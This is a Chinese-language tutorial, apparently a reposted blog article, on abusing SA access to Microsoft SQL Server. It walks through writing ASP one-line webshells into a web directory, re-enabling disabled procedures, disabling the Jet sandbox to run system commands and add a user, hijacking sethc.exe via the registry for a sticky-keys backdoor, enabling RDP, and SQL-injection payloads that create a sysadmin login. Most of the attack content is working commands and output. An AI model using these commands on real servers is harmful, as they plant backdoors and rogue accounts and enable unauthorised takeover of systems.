1. 程式人生 > >詳述MSSQL服務在滲透測試中的利用 (下篇)

詳述MSSQL服務在滲透測試中的利用 (下篇)

services req 正在 執行 als lock 註冊 禁用 --

part3 MSSQL寫文件



步驟1 sp_makewebtask寫文件

因為是`SA`權限,如果目標服務器是web服務器,我們也不用去備份了,可以直接寫個一句話木馬進去到web目錄。

在不知道web目錄的情況下我們可以使用以下SQL語句來列目錄:

exec master.dbo.xp_subdirs ‘c:\www\‘;


技術分享

`sp_makewebtask`拓展存儲過程並不會列出目錄下的文件,只會列出目錄。

假設`c:\www\`為當前web目錄,我們嘗試使用以下語句來向該目錄寫一個名為`testwr.asp`的文件,文件內容是ASP類型的一句話木馬:

exec sp_makewebtask ‘c:\www\testwr.asp‘,‘select‘‘<%execute(request("SB"))%>‘‘ ‘


技術分享

如上圖可見,文件寫入不成功,爆出了以下錯誤:

服務器: 消息 15281,級別 16,狀態 1,過程 xp_makewebtask,行 1
SQL Server 阻止了對組件 ‘Web Assistant Procedures‘ 的 過程‘sys.xp_makewebtask‘ 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用 ‘Web Assistant Procedures‘。有關啟用 ‘Web Assistant Procedures‘ 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。


由以上報錯信息得知,其實是`xp_makewebtask`擴展存儲過程被禁用,那麽我們可以使用以下SQL語句恢復開啟`xp_makewebtask`擴展存儲過程:

exec sp_configure ‘Web Assistant Procedures‘, 1; RECONFIGURE


返回如下信息:

配置選項 ‘Web Assistant Procedures‘ 已從 0 更改為 1。請運行 RECONFIGURE 語句進行安裝。


如上SQL執行返回,提示命令執行成功,我們看看效果:

再執行SQL語句試試寫文件:

exec sp_makewebtask ‘c:\www\testwri.asp‘,‘select‘‘<%execute(request("SB"))%>‘‘ ‘


技術分享

如上提示命令執行成功。

那麽文件到底有沒有寫入成功呢,我們可以通過`xp_cmdshell`擴展存儲過程執行`type`命令來驗證文件內容:

exec master..xp_cmdshell ‘type c:\www\testwri.asp‘


技術分享

如上圖執行回顯可見,一句話木馬的代碼是寫進去了,但是也有一些雜亂的東西:

<TR><TH ALIGN=LEFT>n/a</TH></TR>
<TR><TD><TT><%execute(request("SB"))%></TT></TD></TR>
</TABLE>
(所影響的行數為 27 行)



步驟2 xp_cmdshell寫文件

若服務器的`xp_cmdshell`擴展存儲過程可用,則可以通過執行系統命名直接寫文件:

exec master..xp_cmdshell ‘echo ^<%eval request("pass")%^> >c:\www\update.asp‘--


技術分享

> 此處`echo`命令為windows寫文件命令,`^`符號是為了避免`<、>`符號與系統命令元命令符號沖突。

命令執行成功之後即會寫入`c:\www\update.asp`文件,內容為ASP類型的一句話木馬。

那麽命令執行之後我們可以通過以下語句來驗證文件內容(`type`語句打印出文件內容):

exec master..xp_cmdshell ‘type c:\www\update.asp‘--


技術分享

如上可見,一句話木馬代碼寫入文件成功。


part4 沙盤模式提權


利用`jet.oledb`執行系統命令

select * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=c:\windows\system32\ias\ias.mdb‘,‘select shell("cmd.exe /c whoami")‘)


默認情況下報錯如下:

服務器: 消息 15281,級別 16,狀態 1,行 1
SQL Server 阻止了對組件 ‘Ad Hoc Distributed Queries‘ 的 STATEMENT‘OpenRowset/OpenDatasource‘ 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用 ‘Ad Hoc Distributed Queries‘。有關啟用 ‘Ad Hoc Distributed Queries‘ 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。



啟用Ad Hoc Distributed Queries:

exec sp_configure ‘show advanced options‘,1;reconfigure;exec sp_configure ‘Ad Hoc Distributed Queries‘,1;reconfigure


技術分享

得到如下返回信息:

配置選項 ‘show advanced options‘ 已從 1 更改為 1。請運行 RECONFIGURE 語句進行安裝。
配置選項 ‘Ad Hoc Distributed Queries‘ 已從 0 更改為 1。請運行 RECONFIGURE 語句進行安裝。



試試關閉系統沙盒模式,它在註冊表的位置是
`HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\Engine\SandBoxMode`
默認鍵值為`2`,即只在`Access`的模式下開啟沙盒模式,對應的鍵值是

`0`:在任何所有者中禁止啟用安全模式

`1` :為僅在允許範圍內

`2` :必須在access模式下

`3`:完全開啟



我們要將其設置為0就可以關閉系統沙盒模式了,通過SQL語句實現

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,0


然後利用`jet.oledb`執行系統命令whoami:

select * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=c:\windows\system32\ias\ias.mdb‘,‘select shell("cmd.exe /c whoami")‘)


技術分享

Expr1000
---------------------
2296.0

(所影響的行數為 1 行)


然後再嘗試執行系統命令:

select * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=c:\windows\system32\ias\ias.mdb‘,‘select shell("cmd.exe /c net user test 123456 /add")‘)



技術分享


此處系統命令執行無回顯,我們這樣驗證賬戶是否添加上去:

exec master..xp_cmdshell ‘net user test‘--


技術分享

如下恢復沙盤模式:

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,2


再執行上述命令將會失敗:

exec master..xp_cmdshell ‘net user test‘--


技術分享



part5 註冊表映像劫持提權

先來恢復寫註冊表的存儲過程:

exec sp_addextendedproc xp_regwrite,‘xpstar.dll‘


一般如此執行來進行映像劫持:

exec xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe‘,‘debugger‘,‘REG_SZ‘,‘c:\windows\system32\cmd.exe‘


實際上述語句不行,需要16進制編碼,完成後如下:

exec xp_regwrite 0x484b45595f4c4f43414c5f4d414348494e45,0x534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c73657468632e657865,0x6465627567676572,0x5245475f535a,‘c:\\windows\\system32\\taskmgr.exe‘--


技術分享

這段代碼表示要劫持的程序為sethc.exe,只要運行文件名為sethc.exe的,不管在哪個文件夾下都會啟動任務管理器(當然你可以直接把sethc.exe改成你要啟動程序的路徑 )

通過註冊表開3389:

exec master..xp_cmdshell "wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%‘ call SetAllowTSConnections 1"--


返回如下:

output
-----------------------
正在安裝 WMIC,請稍候。執行 (\\V5EST0RAB06\ROOT\CIMV2:Win32_TerminalServiceSetting.ServerName="V5EST0RAB06")->SetAllowTSConnections()

方法執行成功。

輸出參數:
instance of __PARAMETERS
{
ReturnValue = 0;
};
NULL
NULL
(所影響的行數為 9 行)


如上返回就是成功。
連接目標機,按下5次shift:

技術分享

通過任務管理器調用cmd:

技術分享

那我們在恢復擴展存儲過程的時候如果出現`sp_addextendedproc`沒找到的情況,如果不是刪除了`xplog70.dll`,`SA`權限也能直接恢復
過程`SP_ADDextendedproc`,需要外聯多句執行,註入點的情況下可以類似以下先添加一個數據庫用戶:

?id=1;exec master.dbo.sp_addlogin haco,lovehaco;--

?id=1;exec master.dbo.sp_addsrvrolemember haco,sysadmin;--


調出查詢器 恢復過程`sp_addextendedproc` 如下:

use master
go
create procedure sp_addextendedproc
@functname nvarchar(517),
@dllname varchar(255)
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,‘sp_addextendedproc‘)
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0)



然後再恢復存儲過程就行了。

sp_addextendedproc xp_cmdshell,@dllname=xplog70.dll




詳述MSSQL服務在滲透測試中的利用 (下篇)